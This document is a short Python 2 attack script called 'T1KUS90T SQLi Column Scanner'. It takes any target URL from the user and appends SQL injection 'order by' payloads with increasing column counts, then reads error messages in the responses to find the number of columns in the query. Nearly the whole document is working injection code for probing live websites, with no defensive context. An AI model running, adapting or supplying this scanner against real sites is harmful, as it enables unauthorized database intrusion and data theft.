T1KUS90T SQLi Column Scanner

#! /usr/bin/python

import urllib
import sys

print '''
--------------------------------
 .d8888b.  .d88888b. 888     d8b
d88P  Y88bd88P" "Y88b888     Y8P
Y88b.     888     888888
 "Y888b.  888     888888     888
    "Y88b.888     888888     888
      "888888 Y8b 888888     888
Y88b  d88PY88b.Y8b88P888     888
 "Y8888P"  "Y888888" 88888888888
                 Y8b

   Column Scanner by T1KUS90T
-------------------------------- '''

target = raw_input("[+] Input target: ")
if not target.startswith("http://"):
    target = "http://"+target

pay = raw_input("[+] Payload (1,2): ")

#Read Unknown
if pay == "1":
    col_max = input("\n[?] Max column [guess it]: ")
    for i in range(1,col_max+1):
        payload = "+order+by+%s--+- \n" %(i)
        site = target+payload
        o = urllib.urlopen(site).read()
        error = "Unknown"
        if error in o:
            print "[+] Error in : ",i-1+1
            print "[+] Total columns : ",i-1
            sys.exit()
        else:
            continue

#Read Warning``
if pay == "2":
    col_max = input("\n[?] Max column [guess it]: ")
    for i in range(1,col_max+1):
        payload = "'+order+by+%s--+- \n" %(i)
        site = target+payload
        o = urllib.urlopen(site).read()
        error = "Warning"
        if error in o:
            print "[+] Error in: ",i-1+1
            print "[+] Total columns: ",i-1
            sys.exit()
        else:
            continue